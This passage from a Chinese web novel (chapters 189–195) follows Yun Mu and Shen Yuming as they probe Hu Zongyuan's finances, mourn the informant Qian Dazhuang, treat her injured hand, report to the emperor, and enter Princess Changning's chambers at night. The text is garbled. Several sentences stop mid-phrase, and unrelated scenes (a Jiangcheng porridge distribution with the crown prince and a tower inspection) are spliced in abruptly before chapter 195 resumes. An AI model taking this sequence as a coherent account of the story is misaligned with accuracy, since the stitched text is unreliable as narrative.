倘若我们陈家今年再给王后送个赝品,陈府上下几百号人的命还要不要了?” 陈府虽在西域,但却位于一个“三不管”地带,这“三”指的就是大梁、东胡和北域,但因其都与三国交好,是以至今都安然无恙。 胡宗远近来最不喜旁人提起太子被禁足一事,他心里已然不悦,要换做往日,他早就把人给赶出去了,但万宝斋近来没有什么生意,他只能忍下。 “陈公子说笑了,太子之事只是误会,那些兵器都是用来防刺客的。被人举到皇上面前,皇上就算再疼爱太子,也得做做样子不是? 若皇上真的恼了太子,就不只是禁足这么简单了。” 云暮将信将疑:“你没骗我们?” 胡宗远给他倒了杯茶:“做生意讲究一个和字,咱就算这桩买卖做不成,以后也会有下次。往后万宝斋的生意做到西域,免不了要陈家扶持一把,我何苦骗你们呢?” 云暮这才信了七分,“今日闹了这一出,本少爷也没心情买东西了,胡管事,我们兄弟先告辞了。” 话都说到这份上了,胡宗远着急也无用,他把人送了出去:“无妨,货比三家嘛,二位慢走。” 才上马车,沈聿明就要摘 仅凭几张银票还不足以让胡宗远相信他们的身份,定会派人在后面跟着,不过她早有准备,不怕胡宗远查。 沈聿明撩开车帘,好奇地四下张望,不时叫停马车,去买了一堆无用之物。 借着挑选的间隙,他果然发现了好几个隐在人群里的练家子,他提着东西回到马车上,夸赞道:“云大人真是神算,胡宗远的小动作果然瞒不到你。” 云暮望着空无一物的桌子出神,没有接话,直到衣袖被人扯了几下:“怎么了?” 沈聿明放下糕点,“你怎么了?” 云暮摇头,“没事,就是这几天有些累。” 方才沈聿明去买东西时,她看见了跛脚的姑娘,那人在醉江月的门口和迎客的小二说话,但被对方推搡到一边,而后又失魂落魄地离去。 她知道,对方是来找钱大壮的。临近婚期,钱大壮一声不吭就跟着镖队去走镖,她成了村里人的笑柄,这放在谁身上都无法接受。 云暮不知该如何做,难不成真要寻个人易容成钱大壮,让对方假意和那姑娘成婚? 可这能瞒得过外人,瞒得住和钱大壮相处了这么多年的人吗? 眼看那个姑娘快要走到马车旁,云暮虽知对方认不出,但猛地放下手,帘子晃动,遮住了车内人。 沈聿明没再追问,他指着桌上的糕点说道:“已经到用膳的点了,我在醉江月那儿订了一桌菜,你先吃点这个垫垫肚子。” 云暮看了一眼往日里最爱的糕点,依旧摇头:“没胃口,不想吃。” 沈聿明眉头紧蹙,她已经到了看到他就吃不下东西的地步了? 有心想和云暮重修于好,他小心翼翼地问道:“是我哪里做得不对吗?还是你师父那儿出什么事了?” 云暮怔了怔,鬼市卖的东西害死了好几个人,导致被官府查封,与沈聿明有何关系? 那两个守卫也只是奉了大理寺的命令办事,说他们没错,但他们明明可以把钱大壮扭送到大理寺,却偏偏财迷心窍,要杀人夺宝。 夜明珠是她赏的,钱大壮会出现在鬼市夜市因为她,可以说害死钱大壮的元凶是她。 往日她奉命杀了这么多人,鲜少动过恻隐之心,可这一次是她身边的人因她而死。 从宫里的太监爬到中郎将的位置,她护住了身边的人。但到了大将军的位置后,她却保不住身边的人了。 砚清因她没了半条命,往后要顶着另一张脸活下去。 钱大壮死在了那个黑黝黝的鬼市,再也不能履行诺言把那个姑娘娶回家,也不能见天日。 云暮觉得有些累,她把头靠在沈聿明的肩上,轻声问道:“沈聿明,我累了。” 沈聿明放缓了呼吸,慢慢把人拢在怀中,轻轻拍打着她的后背,“是人都会累,有我呢。” 云暮闭目不语,有许多事还不该沈聿明知道,她还不能歇。 马车穿过人群,停在了醉江月门口,“少爷,到了。” 沈聿明看了一眼怀中的人,刚要让车夫驾车回去,肩头就被云暮拍了一下。 “没事,先去用膳吧,免得被他们察觉出不对。” 两人才下马车,迎客的小二几步来到他们面前,“客官,里边请。” 沈聿明道:“天字号雅间,姓陈。” 小二脸上的笑容更深了:“原来是陈少爷,小人带你们进去。” 云暮不经意地问道:“方才远远地就看见有个跛脚的姑娘被你轰走,你们醉江月还是家看人下菜碟的店?” 如今正值饭点,醉江月的食客不少,云暮这话引得几人看向他们,小二怕人误会,直呼冤枉。 “陈少爷有所不知,那姑娘就不是来用膳的,每天都要来醉江月几回,就为了打听她那个相好的下落。小人当时不是正忙嘛,动作就急了些。” 云暮恍然大悟地“哦”了一声。 这看似只是多嘴一问,却被沈聿明记在了心里。 饭桌上摆了一桌的菜,都是云暮爱吃的,她略用了几口就再也不动筷了。她捧着杯茶坐在窗边,双眼放空,连沈聿明什么时候来到她身边也不知道。 “在看什么?” 温润的声音从头顶传来,云暮抬头之时,手上一空。 “茶都凉了,别喝了。” 云暮往一旁挪了挪,沈聿明顺势坐下,朝她看的地方望去,是一个拄着杖的姑娘。 “你认识她?” 第一百九十章 我好看吗? 云暮“嗯”了一声,“谈不上认识,见过一次。” 直觉告诉沈聿明,云暮低落的情绪与这个人有关,他重新到了一杯热茶放回云暮冰凉的手中,“可以和我说说吗?” 杯中那枚茶叶在茶水中飘了好几圈,最后沉在了杯底。 云暮捏紧茶杯,“不知王爷可还记得醉江月从前的名菜?” “紫参野鸡汤。” 云暮点头,“最初我只是察觉那鸡汤有些不对劲,后面找了一个人打听消息,这才知晓鸡汤里藏着的秘密。” “那人叫钱大壮,也就是小二口中的那个姑娘的相好。” “醉江月归于朝廷后,原要遣散当初的那些伙计,但我还是留下了他。” 沈聿明心头一跳,“那他现在……” “死了。” 云暮一字一句道:“他死了,就在昨日,死在了鬼市。” 沈聿明不解:“鬼市被封的消息都传遍了京城和周边的城镇,他去鬼市做什么?” 云暮自嘲一笑,“是啊,他都快要娶妻了,还冒着生命危险去鬼市,当然是有人以利相诱。” 沈聿明忽然就不想听了,“时候不早了,我们回去吧。” 云暮纹丝不动:“那个人就是我。” “我担心师父,让他找门路带我去鬼市,又怕他反水,将他留在了岸边,害死他的人是我!” 她每说一句话,手上的力道就重一分,薄薄的茶杯受不住她的力,碎了。 瓷片陷入她的手掌,鲜血染红了掌心,云暮恍若未觉,“杀了他的人是我。” 沈聿明抓住她的手腕,轻声道:“云暮,你的手受伤了,我先带你去处理伤口。” 此刻的云暮眼底猩红,他不敢刺激她。 云暮呆呆地低头,血色的掌心变成了漫天大火,把她爹娘困在屋内,吞噬殆尽。 云暮不住摇头,泪水如断了线的珍珠一滴滴滚落,“阿爹……阿娘……” 沈聿明察觉到不对,用力攥着她的手,“云暮,你醒醒。” 云暮想冲入火场把爹娘救出,一双大手钳住了她,她不管怎么挣扎都动不了分毫,“放开我,让我进去,我阿爹阿娘还在里面!” 云暮清醒的时候,沈聿明都只能暂时压制住她,如今神志不清,力道比以前大了不少,沈聿明几次差点抓不住她。情急之下,他抬手劈向云暮的颈侧。 云暮软软地倒在了沈聿明的怀里。 清醒过来时,云暮发现她躺在一个陌生的地方。她缓缓转头,发现了趴在床边熟睡的人,他的手还搭在她的手腕上。 是沈聿明。 房里只点了一盏灯,云暮还是看清了周遭的一切,这儿是她前几日租赁的房子。 她怎么来了这儿?还有,她的手怎么回事? 云暮回想着昏迷前的画面,她和沈聿明说着钱大壮的事,之后她就什么都不记得了。 她想把手抽出,才动了一下,沈聿明瞬间醒了,见到云暮瞪着大眼看他,他甩了甩被压得发麻的手:“你醒啦,饿了吗?饭菜在厨房里温着,我去端来。” 云暮下意识拉住他,但右手已经被裹成了一个粽子,手指无法弯曲。 “我不饿,你坐下,我有事问你。” 沈聿明觑着她的脸色,想着等会儿该怎么回答才更好。 云暮举起她的右手“我的手,怎么回事?” 沈聿明错愕地看着她:“你不记得了?” 云暮捂着发痛的脑袋:“我想不起来了,只记得说了钱大壮。” 沈聿明拉下她的手,替她揉着太阳穴:“想不起来就别瞎想了,你提到钱大壮时,太过伤心,不小心捏碎了茶杯,我一时情急就把你劈晕了。” 他的手往下,捏了捏劈过的颈侧:“还疼吗?” 云暮不喜旁人碰她的脖子,汗毛直竖,她下意识挥开了脖子上的手:“没事,已经不疼了。” 其实还是有些疼的。 双方都撒了谎,又怕被对方看出破绽,不敢对视,以致于没发现对方的异常。 云暮租的小院院墙较高,周围也没有能藏人的树,沈聿明没有丝毫伪装,盯着他原本的脸大喇喇地往厨房去。 他不知道云暮什么时候会醒,饭菜和粥都备了,云暮看着满满一桌的菜,嘴角微微抽动。 沈聿明把盛好的粥放在她面前,“左手会使勺吗?” 云暮的回答是用左手勺了粥递到嘴边。 沈聿明有些遗憾,从旁边取了一个干净的碟子,挑出一碟不到骨头且能一口放入口中的肉。 云暮从昨儿到现在没用多少东西,今儿中午也是只吃了几口,现下已经饥肠辘辘。 她看了看勺子,又看了看面前的这桌菜,有些无奈,嘴里的鸡丝粥顿时变得索然无味。 粥一口接着一口往嘴里塞,只想快些吃完逃离这桌菜,不料在沈聿明眼里变成饿狠了。 云暮昏过去后,他找来了砚石,问了云暮近来的情况,才知她过得有多苦。 三餐不定,每天只睡两个时辰。昨天更是只吃了两口饭,又为了钱大壮的事一夜未眠,就算是铁打的人也经不住这样折腾。 他忙端着碟子坐到云暮身边,夹了块肉递到她嘴边。 云暮茫然地眨了眨眼睛:“这是?” 沈聿明看了一眼她的右手:“你左手会使筷子?” 云暮诚实道:“不会。” 沈聿明理所当然道:“眼下这里只有我们两个,只能是我来照顾你了。” 云暮还是头一回见有人被使唤还这么高兴。 沈聿明见她不吃,又换了一块,嘴里还喃喃自语:“从前不是挺喜欢的,何时换了口味?” 云暮不语,她总不好说是因为太过惊讶没来得及张口吧? 只被爹娘这么对待过的云暮有些放不开,她只吃了几口便说饱了,最后还是被沈聿明又哄着喝下了半碗粥。 她吃饱后,沈聿明才动筷,云暮无事可做,便撑着下巴看他。 从前一起吃过无数次饭,每次她都是先放筷的那一个,而后便如现在,撑在下巴看着沈聿明吃饭,赏心悦目。 沈聿明看了她一眼,嘴角微勾:“云大人,我好看吗?” 云暮下意识接话:“好看。” 话音刚落,才知晓她把心里话说了出来,脸上浮起一片红晕。 第一百九十一章 大忙人 云暮今夜辗转难眠,一闭上眼脑海中就浮现出沈聿明的脸,她揉了一把脸,又拍了两下。 因动作太大,颈侧又隐隐作痛,云暮轻嘶了一声,把手搭在脖上,轻轻地揉捏。 她暗自嘟囔了一声:“这沈聿明下手可真狠。”她只是捏碎个杯子,又不曾做什么过激之事,至于下这么重的手吗? 日日都是丑时过才入睡,方才又睡了一觉,云暮此刻异常清醒。她举着蜡烛在房间里四处翻看,企图找出一本书来打发时间。 可惜的是,她什么都没有找到。 她一开始租下这间小院的本意是把胡宗远的人糊弄走后,她和沈聿明就各回各家,第二日再碰面。 所以这房中除了一个枕头一床被子外,就只剩下几张椅子和一张桌子。 折腾了一通的她只好再次躺回床上,闭着眼在心里数数,不知数到多少时,她终于沉沉睡去。 第二日醒来,早饭已经送过来了,云暮的眼神只有在进门的那一刻停在上面,随即移开了。 “王爷,砚石今早没来?” 空荡荡的正厅里,一个包袱都没有。 只要她一问砚石,便什么都瞒不住,沈聿明说道:“来了,但我让他回去了。” 云暮压着怒气问道:“为何?” 沈聿明比划了一下,“他拿着那么大一个盒子过来,说是布政坊昨日堆积的事务,本王打开瞧了一眼,不是李家偷了陈家的一只鸡,就是王家踹了张家的狗一脚,这些都还要你亲自过目,中郎将他们是吃干饭的吗?” 云暮气得太阳穴一突一突,“你知不知道里面有……” 沈聿明忽而从怀中掏出一封信递给她:“知道里头有东西,给你留下了。” 又小声道:“话都没等人说完。” 云暮没搭理他,而是拆开了信封。昨日他们两人在明,砚石在暗,也不知道他查到了什么。 昨日他们走后,一封密信就递到了东宫,但他们不知东宫外的守卫已经换成了她的人。胡宗远自以为行事隐秘,但那封信还是到了她手里。 密信上除了交代她和沈聿明的事情外,再有一件就是太子名下田庄今年的收成比往前少了足足有十万石。 云暮的指尖有一下没一下地在桌上敲打,暗一那边还没有消息,砚石也不在,想吩咐他们去做事都只能和沈聿明干瞪眼。 事是沈聿明造成的,自然由他来承担后果。云暮指使他去拿纸笔,特意指明了要徽墨。 戏得做全套,就不能留破绽。笔墨纸砚备齐后,云暮想拿笔,才想起她那双缠满布的手。 …… …… 身旁传来一声轻笑,云暮抬头怒视沈聿明,她忘记手受了伤,他手里方才还拿着药,怎么会不记得,可见是存了心要看她笑话! 沈聿明咳了一声,敛住笑,“你想写什么,你说,我写。” 云暮呵了一声,“王爷能做到和胡宗远的字迹一模一样?” 看着上头七扭八歪的字,沈聿明也沉默了,若是齐整,他还能仿上一仿,但胡宗远的字实在是…… 他当机立断放弃了:“云大人手底下能人无数,不如请他们来写。” 云暮揉着眉心,梁文帝下令了,这件事不许放在明面上查,她手下是有能仿人字迹的人,可她哪敢让对方来写? 思来想去,云暮忽然有了人选,“让砚石来找我。” 用过早膳后,沈聿明拿着药瓶坐在她身边:“该换药了。” 云暮凝神细听,果然还是只有他们两个人在此处。她朝沈聿明伸出手:“不敢劳烦王爷,下官可以自行上药。” 和沈聿明单独住在此处,总觉得有些怪怪的,她顺势说道:“王爷,等会儿出去买两个奴仆吧,你若放心不下其他人,下官给砚石和文竹做两张面具。” 沈聿明点了点她的掌心;“云大人的手都成这样了,还是省省吧,你也不想遇上事连剑都拿不起吧?” 云暮甩了甩左手:“这不是还有一只?只是不会使筷子,又不是不会用剑。” 就这么不想和他独处,他就偏不让她如愿。 “你且受着吧,这几日,你别想回云府了,否则明眼人一看就知道所谓的陈家少爷其实是你。” 这副欠打的模样真是让云暮手痒。 一个没注意,云暮的手又被沈聿明包成了粽子,她懒得管了,等会儿再让砚石换个药就是了。 药才上好,砚石翻着墙进来了,“大人,您的手……” 云暮道:“无事。他呢?” 布政坊人多眼杂,云暮只能让暗一把田庄的事送到云府,她得当值,便把收信的事儿交给了砚石。 砚石拿出几封信,说道:“还没回来,但昨儿又送了信来,怕打扰你这边不方便,今儿早上就没有一同送来。” 和沈聿明结了盟,但云暮没有告知太子之事由暗一和她负责。 沈聿明听不懂他们口中的他是何人,疑惑发问:“谁?” 云暮却道:“没谁,你没见过。” 沈聿明的记性不错,贵妃奸情被她戳穿那天,暗一就出现在了人前,当时的沈聿明不是躲在树上就是房顶,她不确定对方对暗一是否有印象。 云暮用笔头圈住了几行字,“你把这些誊下来,送到他手上,再让他仿这几句话,然后送到太子手里。” “这几日让陈江过来,你快去快回,莫要耽误了时间。” 还有三日,砚清就要换脸了,她和砚石肯定是要去鬼市陪着的。 “再让他从书房的暗格里取一瓶药来。” “是。” …… 云暮一谈事就会忽略掉身边的人,等砚石走后,一道幽怨的声音在她头顶响起:“云大人真是个大忙人。” 云暮惊魂未定,她仰头看去,“王爷,王府已经穷到要你表演杂技维持生计的程度了?” 沈聿明晃了晃腿,从房梁上跃了下来,掌心向上放到云暮面前:“是啊,云大人若是觉得方才的‘梁上君子’不错,就赏在下点银子吧。” 云暮:…… 滚啊。 第一百九十二章 疼就咬我 沈聿明不依不饶地跟在云暮身后追问:“那人到底是谁?” 云暮本就不喜暗一,沈聿明又只见过他一面,还是在那个让她难堪的夜晚,“一个将死之人,王爷还要问吗?” 看着她眼中的厌恶,知道那人不合她意,沈聿明“懂事”地没再问。 云暮把砚石送来的信一一摊开,“这些是太子部分田庄的收成,亏空太大,万宝斋又没了生意。” “去岁他纵容手下的人多征税,我和皇上提过,皇上命人去查过,太子为了平皇上的怒气,免了庄子上的农户的税。” “这儿的钱少了,那边的粮也少了,太子他们定会从其他地方敛财。” 从前太子如日中天时,不少人为了搭上他的关系,不惜在他名下的铺子砸重金买东西。 东宫只有太子一个主子,那些侍卫也都是领朝廷的俸禄,按理说他不缺钱,但为何还要大肆敛财? 云暮想,或许她应该去见长宁公主一面了。 只是还没等她想好找什么名头进宫汇报,又有人翻墙进来了。 方才是砚石,如今是文竹,云暮抱着双臂凉凉道“哪天胡宗远的人翻墙进来我都不觉得意外。” 文竹笑道:“云大人多虑了,外头有我们的人,哪能这么轻易就放他们进来。” 也是,这里头住着一个朝廷命官一个当朝王爷,附近哪能没有耳目。 她朝着文竹怀里的盒子抬了抬下巴:“这是何物?” 沈聿明抢先道:“是账册。” 一开始他不知云暮让他换人皮面具出门是为了何事,但一直让文竹跟着。他在街头买东西的间隙,让文竹去胡府“逛”了一圈,看看有没有其他收获。 云暮有些意外,“万宝斋的?” “胡府的。” 账册不多,只有四本,其中有两本是去年的,另外两本则是今年的。文竹有些羞愧:“王爷,云大人,属下怕拿太多被胡宗远发现,只敢拿了这些。” 这些也够他们找出问题了。 云暮随手拿起一本,翻看了一下就撂下了,又伸手去拿另一本,没想竟和沈聿明拿到了同一本。 沈聿明收回手,“那本怎么了?” 云暮道:“那本是明面上的账,看不出什么。” 沈聿明将信将疑地拿起那本,“你只看了两页,怎么就知晓看不出问题?” 这话把云暮问住了,她想起几个月前和裴然一起看账册算账的痛苦日子,光看着外皮上的账册二字,她都两眼一黑。 她不愿解释:“我们分工吧,我查去年的账,王爷您查今年的。” 沈聿明无可无不可,他把手中的账册放回云暮手边,转而拿起剩下的两本。 云暮单手翻页,单手打算盘,账算得太慢,她面露不耐地揭了纱布。 沈聿明忙将账册倒扣在桌上,抓住她的手:“你做什么?” 云暮说道:“血已经止了,我单手算账算不过来。” 沈聿明不由分说地把纱布绑好:“让文竹给你翻页。” 云暮暂时妥协。 但她到底是用惯了右手,即便有人翻书,还是算得慢。她在心里计算着云府到这里的路程,想着陈江估计快到了,她停手朝外走去。 “我出去走走。” 沈聿明当她累了,嗯了一声。 云暮在廊下等了片刻,陈江果然就拎着东西翻了进来。 “大人,属下来迟了。” 云暮只道:“药带来了吗?” “带了,您怎么受伤了,可是遇到刺客了?” “无事,去打盆水来。” 云暮解下手上的纱布,白色的药粉糊了她一手。 昨日她的力道应该不小,方才沈聿明给她上药时,她看过伤口,有几道皮肉外翻了。 碰了水的伤口有些疼,但也还能接受。云暮看着手中的药瓶,有些发怵。 陈江也有些不忍:“大人,一定要用这药吗?” 他虽然没用过这药,但也知道这药的效果出奇的好,只要往伤口上那么一倒,不消片刻就能止住血,再晚些就能结痂了。 唯一的坏处就是,疼,钻心碎骨的疼。 云暮咬咬牙,“等不了了。” 陈江把胳膊伸到她面前,颇有几分壮士扼腕的气势,“大人若是疼得厉害,就咬属下吧,属下承受得住。” “你们在做什么?” 他们的动作不算大,只是沈聿明见她这么久都没回来,便出门寻她,没成想看到这一幕。 他一眼就发现云暮又解下了纱布,一掌拍开陈江的手,对云暮说道“你怎么又把它给解了?还洗了手?!你也是医者,不知道伤口不能碰水吗?” 云暮蹙着眉看他:“不过是重新上个药罢了,王爷这是要把周围的人都喊过来吗?” 沈聿明才注意到她手里还握着一瓶药,“这就是你刚才说的药?比我那金疮药还要好用?” 云暮嗯了一声,想把人支开,“王爷的账本看完了?” 沈聿明怎么会听不出她的意图,他也双手抱臂倚在墙上,“涂药吧,本王就在这看着。” 见他真的不打算走,云暮也懒得搭理他,把药瓶递给陈江,“拔开。” “大人……” “别耽误我做事。” 沈聿明这才听出不对劲,“云暮,这是什么药?” 云暮没答,接过药瓶后直接往伤口上倒。 淡绿色的药汁从手腕流下,接触到伤口时,云暮的脸色唰的一下白了。 疼,这药她就用过两次,每一次都疼得想在地上打滚。 “云暮,你没事吧,这到底是什么药?” 她看见方才还悠闲倚着墙的人快步跑到她面前,焦急的声音明明在耳边,却如此渺远。 “疼你就咬我。” 昨日她在醉江月受伤一事,胡宗远定然知晓,就算她不外出,想来也不是什么奇怪之事。 趁着沈聿明搬账册的间隙,云暮揭开了纱布,裹得太严实,影响她发挥了。 “王爷,等会儿我要进宫一趟,今夜应该不回来了,您自便。” 沈聿明不愿她进宫,才缓了的脸色又变得难看:“进宫做什么?” 有什么事能把她留在宫里一个晚上? 云暮扬了扬 第一百九十三章 今夜留在宫中吧 掌心还有些阵痛,云暮掏出帕子把残留在手上的药汁擦拭干净。方才还渗血的伤口已经止住,但伤口还是没有愈合的迹象,云暮有些后悔,应该让陈江多拿两瓶。 “王爷就当下官急功近利吧。” 这话放在以前,沈聿明或许还会信上几分,但如今她大仇已报,罪魁祸首的贵妃何秋林已死,梁承熙被贬为庶人,她如今大可以拍屁股走人。 他有时候甚至在想,云暮是不是因为她才留在了京城。吃过从前的教训,他想问却不敢,只能用沉默来表示不满。 两人僵持了许久,云暮的手心传来痒意,怕忍不住去抓,她只能把注意力转移。 “胡府今年的账有何问题?” 没听到沈聿明的回答,她抬眼看他,再问了一次:“王爷,胡府今年的账本有什么问题吗?” 沈聿明才终于开了金口,“和去年一样,一本是明面上的,另一本上记的是胡府三个月的收支。” 云暮作出洗耳恭听状,但对方很快就没了下文,“没了?” 沈聿明没好气道:“没了。” 就看了几页,人就跑了,还不回来,他可不得出来盯着? “哦。” 在这里闲着也是闲着,与其看着鸟雀筑巢,不如回去看看账册。云暮转身就要回去。 这时沈聿明才注意到她手上的伤口已经结了一层薄痂,他长手一伸,把云暮拦下:“这到底是什么药?” 即便他手上的金疮药是大梁最好的金疮药,也没有这种效果。云暮她倒在伤口上的到底是什么东西? 云暮算了一下时间,伤口愈合的速度竟然比之前慢了一刻多钟。 “急功近利的人用的自然也是些急功近利的药,王爷若是想要,下官那儿还有几瓶,等回云府后,下官差人给您送两瓶。” “本王不是这个意思。” 他见过的药不少,但从没听说过有什么药能在两刻钟的时间内肉白骨,物极必反,这道理云暮比他还懂。 云暮毫不在意:“不过是几味寻常的草药制成的伤药,除了疼一点,对人能有什么坏处?” 这她倒是没说谎,若是这些伤再深一点,这药就没用了。 薄痂的颜色肉眼可见的变深,除了最严重的掌心愈合得较慢,照这样的速度,那些痂过不了多久就会脱落。 这一来一回,耽搁了快大半个时辰,虽说只有三个月的账,但他们手上的消息不多,对起来也有些难度,云暮不想一拖再拖。 从正厅的药箱里翻出没用完的纱布,云暮在手上卷了几圈,把没好全的掌心裹住,她不想再遭第二次罪。 而后,正厅里只剩下拨动算珠的声音。 等云暮把两本账册都对完,太阳已经偏西,云暮把纸张揣进怀里,对沈聿明说道:“多谢王爷相助,我现在就启程进宫,今夜就不回来了,王爷您请自便。” 昨日他们假扮的陈家兄弟在京城很是招摇,她受伤晕过去后,应该是沈聿明把她从醉江月带回来的。 当时正是人们用完午膳出门的时间,有不少人看到她受伤的手。如此一来,今日窝着不出门也情有可原,胡宗远想来不会觉得有什么不对。 她带着陈江从后门出去,混进人群里。她选的这个住处离皇宫有些许距离,等她走到,宫门都落钥了。 看一人牵马迎面而来,云暮抛给对方一顶银子,“借你的马一用,明日还你。” 突然被人抢了缰绳,突然被人塞了银子,等贺明回过神,云暮连人带马早就没了影,只留下陈江善后。 云暮才踏进勤政殿,梁文帝就看到她手上的纱布,“你的手怎么了?” 云暮随意解下:“回皇上,前几日练剑不小心被划到,现下已经快好了。” 见结了痂,梁文帝呵了一声,没有计较,“查到什么了?” “皇上,臣翻看了胡宗远的几本账册,胡府的人加起来有三十余人,他给的月钱不少,对下人也还算宽厚,每个月花上一百多两银子也算正常。” 能被云暮拎出来说的,应该不是什么小事。 云暮继续道:“胡宗远作为太子的得力干将,每个月月钱有一百两,若是在万宝斋在卖出点东西,他还有提成,乍一看没有什么问题。” “但胡府账册被胡宗远分成了两份,另一份则是胡府各项的具体开支,以及银子的来路。” “账册里每个月都有一项固定的开支,虽然只有五十多两,但胡宗远却并未写明是拿去做何,或许此事会是一个突破口。” 一连讲了这么多话,云暮的声音有些发干。 梁文帝看着这些证据,淡淡说了一句:“这胡宗远不过是个看店的商人,每个月的支出竟然比朕多了这么多,那到太子手里的银子又有多少呢?” 云暮心道,梁文帝还是谦虚了,他每个月背地里支出去的银子最少都两百两。若非她知晓梁文帝有内库,只怕也会被骗了过去。 她又拿出一封信:“皇上,这是胡宗远递进东宫的信,被金吾卫拦下来了。” 梁文帝问道:“暗一那边有什么消息吗?” 云暮佯装羞愧:“并无,臣与暗一分开查他去往城外的田庄,臣留在京城查胡宗远。” “是嘛,他倒是给朕送来了不少东西,你也看看。” 在梁文帝的故意拖延下,宫门落钥了,云暮还被他留在勤政殿。 吕梁轻手轻脚地走了进来,“皇上,可要现在传膳?” 梁文帝假惺惺地看向门外:“什么时辰了?宫门可还开着?” 吕梁看了一眼滴漏:“回皇上,快到戌时了,宫门已经关了。” 梁文帝苦恼地敲了敲他的头:“瞧朕这记性,竟忘了这事,既如此,今夜你留在宫中吧,就住在勤政殿的东间如何?” 今夜留在宫中本就是她的目的,但住在勤政殿是决计不可能,那不是方便他夜半突袭吗? 云暮拒绝了他:“臣不敢,臣回坦房住便可。” 梁文帝也知不可能,他这才说出真实意图:“那你陪朕用个晚膳总行吧?” 第一百九十四章 夜闯长宁寝宫 桌上的饭菜分了两类,梁文帝面前的尽是一些素斋,而摆在云暮面前的多是肉。 太子被禁足后,梁文帝怕那几个皇子生出不该有的心思,他将大权重新握在手中,对外却还维持着清心寡欲的修道之相,着实可笑。 云暮连喝了两日的粥,今儿为了方便看账又站了一日,但面前坐的是梁文帝,就算腹中饥饿她也毫无食欲。 她放筷时,碟子里的菜还堆成小山,梁文帝还以为饭菜不合他的意,“不喜欢?” 又绷着脸问站在一旁布菜的吕梁:“今日御膳房是谁当差?” 云暮道:“臣伤势未好,不宜沾荤腥,与他们无关。” “那伤口才多大,怎么就沾不得了?云卿莫不是在为他们开脱。” 云暮叫过吕梁,让他把那碟没动的菜放到梁文帝面前:“御厨的手艺皇上也知,您若是不信,大可一试。” 吕梁为难地看了碟子一眼:“大人,这不好吧……” 让皇上吃剩菜,便是昔日盛宠的何秋林都不曾做过这等大逆不道之事。 云暮见吕梁着实不敢,她亲自端着碟子到梁文帝身边,特意挑了一块看起来就颇为油腻的肉夹到梁文帝的嘴边,笑意吟吟地看着他:“皇上试试。” 梁文帝虽不喜欢,但送到嘴边的肉怎么能不吃?他张开嘴,才要咬住,那块肉就“不小心”落到了碟子上。 云暮一脸苦恼:“臣手疼,没拿住,皇上还是自个儿夹吧。” 也不知他从哪学来的这些捉弄人的手段,梁文帝对他真是又爱又恨。 晚上,当巡逻的侍卫从坦房前经过后,云暮悄无声息地从床上坐起。仗着对宫里和侍卫巡逻的时间、地点的了解,她顺利地翻进了长宁公主的寝宫。 秋夜带着凉意,长宁的寝宫也比想象中的更为阴冷,只穿了薄衫的云暮搓了搓手臂。 不用刻意去寻,只要有丫鬟或是太监在门前守夜,定然是长宁的卧房无疑。 云暮顺着墙走了小半圈,终于看到了一个靠着门熟睡的宫女,她放出小青的同时,也将手中的小石块砸向宫女。 一声尖叫划破静谧的寝宫,站在墙头上看着正在往这边敢的侍卫,云暮有些后悔。小青离她还有好几步远,这宫女的胆子也忒小了些。 卧房的蜡烛被人点亮,长宁披着外袍走了出来,有些不悦:“大晚上的,鬼叫什么?” “公主,有……有蛇……” 宫女指着小青的手还在哆嗦。 住在后罩房的宫人也都来了,手里拿着棍子正在满院地抓小青。 云暮原想趁宫女不备从正门进去,但眼下门前都聚满了人,除非她能隐身,否则绝不可能在不惊动宫人的情况下闯进去。 眼看侍卫快到了,云暮无声地换了一个位置,透过房中那盏微弱的烛火,云暮发现有一扇半开的窗。 她轻巧地落到地上,从窗户钻进了卧房。 一个宫女若有所感地转头,摸了摸发凉的后颈,“奇怪,好像有什么东西从后面过去了。” 又一个宫女催促:“还傻愣站在那干什么,那条蛇不见了,快点找。” 一群人乱哄哄的,长宁看着就心烦,她转身回了卧房,用力甩上了门。 卧房常年被人潜入,长宁才关门就察觉到了不对,心紧了几分,还没看到人,带着厌恶的话就先出了口:“你又来做什么?被人发现的话,你不要脸我还要呢。” 云暮倚在窗边,好整以暇地看着打着帘进来的长宁,“下官云暮,见过公主。” 长宁 眼看着队伍排起长龙,几人作为官差,在江城横行霸道惯了,便直接走到队伍的前头,看到施粥的还是曾经的好兄弟,他们把碗往桌上一放,指着碗唔唔了两声。 劳累了一天,腹中正空,恨不得抱起桶就饮,施粥之人只看了他们一眼,挥手道:“去去去,后边排队去。” 他们气得想骂人,但舌头已经没了,想骂都骂不出声,正欲抢过木勺自行舀粥,就被人推搡到了一边。 怒火在看到来人是顾家家丁时,很快就被浇灭,他们唯唯诺诺地站到一边。 顾家的家丁伸头看了一眼稀粥,嫌恶道:“怎么稀得喝水似的?你们私吞了?” “这是本太子下的令,你有异议?” 太子和沈聿明施施然地出现在城门口,盯着食盆外的那个顾字,疑惑道:“顾家家大业大,前些日子还不时在江满楼设宴,顾老爷出手阔绰,现在竟然沦落到来和百姓抢食的地步了?” “还有,你们见了孤和秦王为何不跪?” 除去顾家人,所有人在太子出声的那一刻已经跪下。 家丁冷汗涔涔,不知做何解,只能跪地不语。 太子这才移开目光,沉声道:“都起来吧。” “孤来了江城这么久,日日为水患忧心,今日特意和秦王抽出时间前来施粥。” 他冷冷地盯着垂头的那几人:“凡事都要讲规矩,若谁再敢仗势尖队,那他的小命也就不保了,若谁能揭发尖队之人,若情况属实,谁就能多领一碗粥,但如果是诬告他人,那就休怪孤无情。” 说完,那几个被割舌之人灰溜溜地跑回队伍末尾,而顾家的家丁却仍站在原地。 太子弯腰抓起一把土,撒向装着粥水的木桶中,拿起木勺搅动了几下。 顾家家丁怒道:“太子殿下,您把土撒进去,要我们怎么喝?您是想饿死咱这些老百姓吗?” 云暮看向红布:“这符文,也没有人动过吧?” 监工擦了擦汗,“皇上和大人您三令五申,就算是吃了熊心豹子胆,也不敢轻易动啊。” 云暮又绕着红布走了一圈,又把新建成的第三层仔细检查了一遍,单手在栏杆上拍了两下,栏杆纹丝不动,她满意地点了点头。 “地砖还有多少?” 监工答道:“再建上两三层不是问题。” 云暮双手撑在栏杆上,俯视着坊市里走动的百姓,她伸出手,小半个京城尽在掌握。 勃勃野心起,何惧他人言 第一百九十五 不如辞官归家 从长宁公主的寝宫离开,已经是半个时辰后了。她掐着时间回到坦房,不过片刻,吕梁的声音就从外面传来:“云将军,皇上身体不适,请您过去诊脉。” 云暮早有预料,推开门时,她打了一个哈欠,双眼透着困意,疑惑道:“怎么了?本将军不是让人去太医院请太医了吗?” 吕梁有些为难地说了几个字,“太医院的人一直在勤政殿候着,但皇上还是不大好。” 